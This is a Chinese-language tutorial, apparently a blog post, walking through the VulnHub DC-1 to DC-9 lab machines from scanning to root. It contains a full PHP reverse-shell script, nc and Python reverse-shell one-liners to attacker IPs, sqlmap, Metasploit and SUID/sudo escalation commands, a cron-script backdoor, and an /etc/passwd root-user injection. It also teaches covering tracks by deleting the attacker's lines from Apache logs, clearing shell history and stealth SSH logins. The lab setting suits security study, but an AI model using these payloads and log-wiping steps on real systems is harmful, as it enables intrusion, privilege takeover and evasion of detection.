【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货,建议收藏
[toc]
前言
本文用到的靶机汇总都给宝子们准备好了,放在这个夸克链接了,需要自取,官网下有点慢
https://pan.quark.cn/s/571fc93bedbd
DC-1靶机
前言
由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!
本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。
环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
攻击机:kali,自行准备
信息收集
开启靶机,切换net/桥接模式
nmap探测主机存活80/sP探测
nmap的基本使用,以及高级用法文章参考:
nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式
# 或者
nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。
靶机端口扫描,开放了22、80、111、34471端口
nmap 192.168.209.157 -p- -v
访问http服务的80端口,进入到web界面,有一个登录
sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入
注册一个用户试试,他还要发送邮件,并没有让我们填写密码
需要批准之后才能注册用户
由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用
访问
也没发现什么有用的内容
在这里没用,应该是一个api接口
还有一些七七八八的就不看了,基本没啥作用的
漏洞探测
使用whatweb
(kali自带)指纹识别,找到目标cms的版本和其他信息
whatweb -v 192.168.209.157
msf漏洞利用
msf漏洞利用神器,直接搜索Drupal
这些模块
msfconsole
search Drupal
使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的
show payloads
我们使用第二个模块试试
use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload
发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shell
set payload payload/php/meterpreter/reverse_tcp
当然也可以使用tcp正向连接
set payload payload/php/meterpreter/bind_tcp
他们的区别
正向连接:在msf中通常是指,bind_tcp,定义–攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听
反向连接:在msf中通常是指,reverse_tcp,定义–更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。
主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping
这里就使用反向连接来测试
如果出现如下错误多半是防火墙端口没有放行
就是配置下的本地监听端口
使用iptables放行端口
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
这个时候重新开始攻击即可
run
getuid
后渗透
查看系统信息
sysinfo
获取shell
shell
上面终端显示的样子不好看,使用python调用系统终端
python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了
找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下
find . -name 'set*'
又给了你一个提示
What can you do with these credentials?
你能用这些凭证做什么?
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
那当然是连接本地数据库咯
mysql -udbuser -pR0ck3t
查看所有数据库
切换到这个站点的数据库,并查看有什么表
use drupaldb
show tables;
找到有一个users表
里面包含用户名/密码信息
select * from users;
这样子不好看,那么我们就加一个G
select * from usersG;
不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了
从当前站点目录查找这个文件,并发现有一个password-hash.sh文件
find . -name '*hash*'
在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示
那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?
把他复制下来
$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq
进入mysql
mysql -udbuser -pR0ck3t
修改密码
update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';
登录成功了!
这里我们就找到了flag3
点进去找到这个,提示我们去passwd文件看看
提示我们去passwd,找到flag4
cat /etc/passwd
切换flag4用户下的目录
查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
使用find提权
find / -exec "/bin/bash" -p ;
提权成功,找到了最后一个flag
痕迹清除
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)
1、中间件日志清除
对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
find / -name 'access*'
查看都有一些什么内容
cat /var/log/apache2/access.log
筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录
sed -i '/192.168.209.1/d' /var/log/apache2/access.log
这条命令会直接在原文件中删除所有包含
192.168.209.1
的行。-i
选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志
cat /var/log/apache2/access.log
可以看到连同kali(192.168.209.151)的日志一起清除成功了
同理正常请求日志清除了,错误请求日志也要删除吧
find / -name 'error*'
cat /var/log/apache2/error.log
一大堆kali攻击日志
同理直接使用sed更改
sed -i '/192.168.209.1/d' /var/log/apache2/error.log
清除成功!
2、密码还原
对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧
登录数据库
mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
3、清除数据库日志
没有权限
查看日志状态
show variables like '%log%';
general_log
是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。
- 当
general_log
设置为ON
时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file
指定的文件中。- 当
general_log
设置为OFF
时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志
slow_query_log
看图也是关闭的
- 当
slow_query_log
设置为ON
时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是hostname-slow.log
。- 当
slow_query_log
设置为OFF
时,MySQL 不会记录慢查询。
找到这两个日志文件路径,看看有没有,很好没有,这一步跳过
4、清除命令历史
查看自己曾经输入过的命令
history
history -c # 清除命令历史
5、登录日志
这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
6、nmap扫描日志
nmap扫描时,如果你指定了输出文件(例如使用-oN
选项),确保删除这些文件。
清除临时文件,如/tmp
,查看是否有nmap相关的临时文件,并将其删除。
7、更多
我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知
扩展知识
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
DC-2靶机
前言
由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!
本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。
环境准备
靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip
攻击机:kali
网络:nat模式
靶机复现
nmap主机发现,192.168.209.166或者使用arp-scan -l
nmap -sP 192.168.209.0/24
对扫描出的靶机进行全端口扫描
nmap -sS -p- 192.168.209.166
我访问这个ip的时候,自动跳转到了http://dc-2
但是我加上这个ip之后404
index.php可以正常访问
那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts
在行尾添加这一行内容
保存之后,再次访问首页,就可以正常访问靶场了
Flag1
"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."
大致意思就是你可能需要cewl
这款工具
看目录扫描结果,这是一个wordpress
网站,有一个后台界面wp-admin
sql注入万能密码
拦截登录响应
登录失败
还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl
这个工具了
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
我们将扫描结果重定向到passwd.txt
(就是保存文件或者使用cewl
的自带的-m
参数)
使用wpscan
枚举可能的用户名
WPScan
是一个扫描WordPress
漏洞的黑盒子扫描器,它可以为所有Web
开发人员扫描WordPress
漏洞并在他们开发前找到并解决问题。
一共扫描出来三个用户admin,jerry,tom可以使用
此时我们已经有了用户名和密码字典
使用wpscan
爆破账号密码,指定刚刚我们生成的用户字典users.txt
和密码字典passwd.txt
爆破成功,结果如下
jerry / adipiscing
tom / parturient
来登录
成功
在旁边导航栏找到了Pages,即可得到flag2
这提示跟没提示一样
If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.
文件上传
上传一个php文件,被禁止了
只能上传图片文件,我找了半天也没找到文件包含漏洞的地方
文件后缀爆破,也全部失败了
系统渗透
换思路我们之前端口扫描的时候有一个7744
端口,不知道是什么服务,百度也搜不出来
用ssh
默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh
服务端口了
第一个用户测试失败
jerry / adipiscing
第二个用户,登录成功
tom / parturient
命令被限制了’rbash’
什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制
查看可用的命令
compgen -c
滑到最下面,有一个vi命令
flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。—网易有道
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了
去home,cd 并不能直接使用,但是有一个 ls
直接找到了flag4
告诉我们使用git
离开这里,应该就是让我们用git
提权
查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了
我们看看刚刚的flag3.txt,所属用户为tom
那么就用它提权试试
执行:shell
这里直接"提权"成功了
但是没什么作用哈,root目录也切换不了
查看环境变量
rbash逃逸
我们通过修改环境变量,之后使用jerry / adipiscing登录
tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量
rbash: PATH: readonly variable # rbash
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a
$ /bin/bash
tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令
bash: su: command not found
tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量
tom@DC-2:~$ su jerry # su 正常使用
Password:
jerry@DC-2:/home/tom$
图解
此时我们是jerry权限,还是进不去root
查看当前suid可用命令/文件
find / -perm -u=s -type f 2>/dev/null
这里有一个sudo可以用,rbash逃逸
中的必要条件
git提权
sudo git help config
!/bin/bash 或 !'sh' #完成提权
# 或者
sudo git -p help
!/bin/bash #输入!/bin/bash 即可打开一个用户为root的shell
ok完成dc-2靶机
总结
DC-2详细介绍了利用Kali Linux对Vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl
和wpscan
工具生成字典,并成功爆破WordPress后台账号密码。面对rbash
限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。
DC-3靶机
靶场下载地址:
官网:
http://www.five86.com/downloads/DC-3-2.zip
百度网盘:
https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2
刚进去的时候会遇到个错误
编辑配置项
开启nat模式
开机
开始渗透,主机发现
端口快速扫描
80端口服务,并快速找到编程语言为PHP语言
御剑扫描
后台界面
安装 joomscan 这个工具
检查
检索这个joomla版本信息是3.7.0
joomscan -u 192.168.60.131
使用 searchsploit 来搜索漏洞信息
搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。
再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞
我们可以利用-p
选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。
searchsploit 42033
searchsploit -p 42033
我们查看这个内容
复制上图的payload,并把localhost本地地址替换成靶场地址,利用sqlmap工具
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user
这个时候就得到了数据库信息,并使用 --current-user
获取当前数据库用户,可以看到是root用户
指定数据库为当前网站的数据库,枚举数据库所有表
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
指定表"#__users"
,并列出所有的列名
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns
我只要username
和password
两个字段
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
创建一个文件,存储好hash
后的密文,使用 john
来爆破一下,提示我们使用--show
参数,来显示所有可能的密文
得到 admin的密码snoopy
,登录后台
添加一个php脚本,用于反弹shell
我们利用kali自带的webshell工具进行反弹
修改一下这个文件的两个参数,然后全部复制到这个script.php
源码如下
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.132'; // 你攻击机的IP地址
$port = 1234; // 攻击机nc监听的地址
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
粘贴到这个php木马中
kali开启监听
默认情况下的模板位置是在 /templates
目录下
当前模板名称为 beez3
得出脚本位置
http://192.168.60.131/templates/beez3/script.php
成功上线
创建一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
上图可以看到不是root用户
信息收集
两个重要文件的权限
查看发布者信息,都没有可疑点
那么还是一样,使用searchsploit漏洞检索
我们需要的是提权漏洞,再添加关键字 Privilege Escalation,找到这两个
漏洞利用
我们用第一个4.4.x的漏洞,进行尝试
查看这个文件可以看到漏洞的产生原因以及利用方法。
搜索exp,有一个下载链接
下载下来即可
解压,并开启http请求
复制这个文件的地址就好
http://192.168.60.132:8000/39772/exploit.tar
靶机下载这个文件,但是提示我们没有权限
wget http://192.168.60.132:8000/39772/exploit.tar
这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本
find / -name "script.php" 2>/dev/null
我们在这个文件下载,下载完成
解压到这个文件夹中
根据这个39772的txt文件提示依次执行
提权成功。
成功通关!
总结
本次靶机练习主要用到的工具是searchsploit工具,利用框架/系统已知的漏洞进行渗透测试,从而获取到系统的最高权限。
DC-4靶场
使用SYN隐蔽扫描指纹信息
目录扫描
80端口
万能密码
拦截
302跳转了
查看字段信息
伪造cookie
爆破,全部都是200,说明伪造cookie已经成功,任意一个密码都能登录
点击Command随机选择一个选项,并抓包,修改payload,cat /etc/passwd,能够正常执行
那么直接nc连接
创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
信息收集,SUID文件,有俩个可以利用,sudo和exim4命令提权
find / -perm -4000 -print 2>/dev/null
exim版本信息,4.89 #2版本
/etc/os-release
操作系统
/etc/passwd
权限
/etc/shells
查看可用的shell
主机名
内核版本信息
获取所有版本信息
EXP利用
找了一些信息,那么就可以开始分析了,先找exim 4
漏洞,待会使用msf进行漏洞利用
切换到exp位置,并使用py开启http服务
从攻击机器下载文件,并赋予执行权限
MSF
从图中可以看到,该版本制造在2018年的2月10日
显示它的配置项,他需要一个session会话
反弹成功
结束掉这个会话,重新反弹,使用run -j 将会话保存到后台,这样就能获得会话sessions了
存在漏洞,但是会话没有创建成功
换一个payload就好了,之前是x64,换成x86
DC-5靶机
主机发现
全端口扫描,并使用-T参数加快速度
打开首页
dirb目录扫描
使用burp suite目录扫描
切换到contact界面,抓包
fuzz大法,添加四个payload 攻击类型选择第二个,撞击一组payload
sql注入不存在
xss测试
不存在
再搜集其他信息,也没看到什么
再使用dirsearch 搜索,看到一个footer.php文件
访问一下
再刷新一下,意外的发现了数据会变
这时候就可以判断,这个表单提交成功的页面,可能存在文件包含漏洞,包含index.php
试试
包含/etc/passwd
这里有一个思路,就是包含nginx日志文件,在Linux系统中,Nginx的默认日志文件位置通常可以在Nginx的配置文件中找到。以下是一些关于Nginx默认日志文件位置的信息:
访问日志(Access Log):
默认情况下,Nginx的访问日志通常存储在/var/log/nginx/access.log
文件中。这个文件记录了所有访问服务器的请求信息,包括请求的时间、请求的URL、访问者的IP地址等。
错误日志(Error Log):
默认情况下,Nginx的错误日志通常存储在/var/log/nginx/error.log
文件中。这个文件记录了Nginx服务器的错误信息,如请求出错、服务器无法响应等。
做一个正常的请求
包含访问日志,没有任何回显,说明文件不存在
包含error.log文件
尝试连接,但是返回的数据为空
我们再次抓包,发现一句话马变成了url编码的东西
修改为一句话木马,再发送请求
再次连接,就可以了
反弹shell,攻击机开启监听
使用nc命令
开启交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
查找SUID文件(此文件可以以文件所有者的身份执行文件),看到了这个screen还有版本
screen
是一个在 Unix 和类 Unix 系统上使用的终端多路复用器。
searchsploit 检索漏洞,可以找到一个本地提权漏洞,并且有exp
切换到exp文件目录,并开启python的http服务
然后依次执行命令,在网站目录中是没有写入权限的,需要切换到根目录,找到tmp目录,其他用户具有读写权限
此时就能正常下载kali攻击机的exp文件了
赋予执行权限
whoami
找到root目录下的flag
DC-6靶机
# 主机发现
nmap -sP 192.168.209.0/24
# 全速全端口SYN扫描指纹信息
nmap -sSV 192.168.209.143 -p- -T5
发现网站无法访问,而且自动跳转到了一个域名
那么就需要添加一个host解析
这个时候就能访问了
翻译,没有什么信息
目录扫描
找到后台管理界面
这里要用到一个工具,WPScan,一个专门为wordpress准备的信息收集工具
一个个看看
使用-e参数枚举可能的用户名,可以看到有5个可能的用户,admin,graham,mark,sarah,jens
wpscan --url "http://wordy/" -e
添加payload
添加字典
admin失败,下一个用户
都失败了,可能是我字典有问题,用用kali的。。。。。。。。。。
泥煤的,这得何年马月去了,这时候我去搜了搜过程,作者也给了提示,需要对字典进行筛选,我敲,以后大巴及,一定要看作者的留言,审题啊
快点复制下来
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
爆破成功
Username: mark, Password: helpdesk01
翻来翻去也就这么一个页面可能存在漏洞
试试命令执行,但是不存在
换这个
找到漏洞点
此时就可以反弹shell,开启交互式终端,并查找SUID文件
python -c "import pty; pty.spawn('/bin/bash')"
find / -perm -4000 -print 2>/dev/null
所有系统版本信息
searchsploit漏洞检索,但是很遗憾没有提权漏洞
直到我找到了这个俩个提示
user: graham - GSo7isUM1D4 - done
尝试切换用户
sudo可用
sudo -l
命令的输出可能会包括以下几部分信息:
- 用户:显示当前用户的用户名。
- 主机:显示当前主机名,指明这些sudo权限是在哪台机器上有效的。
- (用户):在括号中显示的是用户可以通过sudo切换到的其他用户,通常是root或其他管理员账户。
- 命令:列出用户可以执行的命令,可能包括完整的路径、命令别名或通配符,表示一系列命令。
提权
sudo -u jens ./backups.sh
可以看到nmap可以用
利用nmap提权
echo "os.execute('/bin/bash')" > /tmp/TF
sudo nmap --script=/tmp/TF
得到flag
DC-7靶机
先看作者描述,根据描述,不难看出,暴力破解是没有效果的
主机发现
使用SYN扫描进行指纹识别,用syn扫描有助于提高隐蔽性
访问80端口
sql注入测试
robots.txt文件
访问第二个/user/login,有一个登录页面
wappalyzer CMS识别
万能密码
CMS版本漏洞检索,看到有个反序列化的,并且msf中有
msf失败
直到我看到这个东西
搜一搜
看样子就是这里了
找到账号密码
登录不成功
但是之前有一个22 ssh端口,登录成功了
查找SUID文件,可以看到一封信
有俩个文件,看样子是一个计划任务
下面这个数据库文件,看了下,没什么东西,我们去查看一下这个sh文件的权限,属主为root,属组为www-data,其他用户只有读取和执行的权限
查看内容会发现一个 drush 命令
Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal。
发现可以创建新用户
来到网站的根目录,就可以添加用户了
能够正常添加,并登录,这里好像什么也没有
修改管理员密码
找到管理面板,我修改后的的一句话木马,也不管用,因为这是一个html页面
后来了解到,可以用这个插件,我们去安装一个插件,在这里下载
https://www.drupal.org/project/php/releases/8.x-1.2
仔细找找后台添加插件的地方
粘贴链接
启用插件
筛选php这个插件,点击安装
安装成功
这时候我们再去修改源码,添加一句话木马
连接成功
得到了www-data权限
反弹shell,创建一个交互式终端
python -c "import pty; pty.spwan('/bin/bash')"
向这个脚本追加一行
nc 192.168.209.1 80 -e /bin/bash
攻击机器监听,即可
原理:前几步已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限
DC-8靶机
前言
讲解了DC-8提权靶机的通关教程,比较基础,适合刚入门不久的师傅们,以及searchsploit
,sqlmap
,john
,nmap
工具的使用,以及SUID
的特性。
靶机下载:
https://pan.quark.cn/s/efe0be139167
靶机复现
配置好net网卡
nmap主机探测
nmap -sP 192.168.209.0/24
端口扫描
nmap 192.168.209.139
访问80端
随便点点
注入payload,sql语句错误,存在sql注入漏洞
' and 1=1 --+
目录扫描,到 robots.txt
访问有个user/login
sqlmap的payload
sqlmap -u 'http://192.168.209.139/?nid=1' -p nid -D d7db --tables
得到两个用户的hash密码, john 暴力破解
得到第二行的密码
登录
这里有一个联系我们,提交一下看看
看到了提交成功后的内容
点击这里有个Webform
找到Form settings,并修改PHP code
但是遇到个问题,修改后,这里没有直接输出我echo的内容
直到我添加了一个标签
就正常输出了,证明了可以执行php代码,那么就可以反弹shell
打开谷歌插件,HackTools,复制反弹shell命令,当然没有的话,小羽我已经给你们准备好了
下载链接:
复制粘贴到命令执行函数中就好
攻击机开启监听
反弹四百
尝试nc
创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
查找具有SUID的文件
SUID:当一个可执行文件被设置了SUID权限后,该文件将以文件所有者的权限而不是执行者的权限来运行。(仅执行,不包括修改)
find / -perm -4000 -print 2>/dev/null
这个命令的各个部分解释如下:
find /
:从根目录/
开始搜索。-perm -4000
:查找具有SUID权限的文件。SUID权限允许用户以文件所有者的权限执行该文件,而不是以用户自己的权限执行。这里的-4000
表示设置用户ID位(SUID位)。-print
:将找到的文件路径打印到标准输出。这实际上是find
命令的默认行为,所以-print
可以省略。2>/dev/null
:将标准错误(文件描述符2)重定向到/dev/null
。这意味着如果find
命令在执行过程中遇到任何错误(比如权限不足无法访问某个目录),这些错误信息将不会被显示。
在Linux系统中,/sbin
文件夹通常包含了一系列系统管理员使用的可执行命令,那么就可以直接利用这命令/软件,来提权
查找版本,为4.89
查找漏洞,Privilege Escalation权限提升,编号 46996.sh
搜索编号
将这个paload文件复制到 /data下面
用python开启服务器
当前文件夹没有写权限,下载不了
我们返回根目录,查看文件夹权限,发现一个其他用户具有写权限的目录
切换到/tmp目录下,下载文件
wget http://192.168.209.137:8888/46996.sh
下载成功,附加执行权限,默认没有执行权限的
查看这个46996.sh
文件提示,包含了使用过程
执行提权脚本
./46996.sh -m netcat
提权成功
还感兴趣的,可以继续深入,把网站的请求日志文件内容删除,以及其他的隐蔽方式,时间比较有限,就不做讲解了,后续深入
DC-9靶机
随便点点有个搜索框
fuzz大法
存在sql注入
复制请求包,到一个文件里面,使用sqlmap跑,因为这是post请求
admin/transorbital1
我们并不知道网站的绝对路径在哪,这里使用默认的试试
os-shell获取失败,看样子mysql不允许向外部写入文件
这里提示了一个文件不存在,那么我们就猜测这里可能有一个get请求的file参数没有传
普通文件包含
看样子源码是路径拼接的
仔细分析上面包含的文件和这个users表中的数据
基本上所有的注入点都没了,只剩下这个东西了
试试ssh爆破
ssh也不行了,服务被禁用了
普通的渗透思路,已经没了,查了一些资料后,找到一个“敲门”服务。。
如果存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全
//配置文件路径
默认配置文件是:/etc/knockd.conf
//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.209.145 -p 7469
nmap 192.168.209.145 -p 8475
nmap 192.168.209.145 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问
这个时候再去爆破ssh连接即可
chandler
joeyt
sudo也不行
隐藏文件的查看,第一个和第二个用户没有找到什么
找到第三个用户janitor,下面有一个隐藏文件,貌似是一个密码记录
添加到刚刚ssh的爆破字典,多了一个新用户
SUID文件也没找到什么,试试sudo,之前几个用户都不能用,这个可以
sudo -l :查看能使用sudo执行的root文件
执行的时候,提示我们有一个 py 文件
查看test.py源码
这样我们就可以得到一个思路,将一个文件内容(root组用户的信息)追加到 /etc/passwd
文件中,就能提权。此时我们使用 openssh 生成一个带盐的密码,admin
查看root用户的结构信息
构造如下内容,写入到 /tmp/user.txt
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash
可以看到没有新增用户
执行这个文件,还是提示没有权限
加上sudo,为什么加上sudo就可以了,因为sudo -l
中包含了这个文件,所以sudo可以应用到这个文件
追加成功(这里红框有错误,后面那个root位置应该是 admin:/root:/bin/bash )
su切换用户即可 admin/admin
总结
本系列常用的命令
# nc
nc 111.111.111.111 4444 -e /bin/bash
nc -lvvp 4444
# python
python -c "import pty; pty.spwan('/bin/bash')" # 创建交互式终端
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' # python反弹sehll
python -m http.server # 开启一个微型的http服务,通常用于文件传输
# find
find / -perm -4000 -print 2>/dev/null # 查找SUID文件
find / -type f -user alice 2>/dev/null # 查找所有alice拥有的文件
find / -type d -user alice 2>/dev/null # 查找所有alice拥有的文件夹
compgen -c # 查找可用命令
# sudo
sudo -l
# sed
sed -i '/192.168.209.1/d' /var/log/apache2/access.log # 这条命令会直接在原文件中删除所有包含`192.168.209.1`的行。`-i`选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志
# nmap
nmap -sS 111.111.111.111 -p- # 全端口SYN扫描
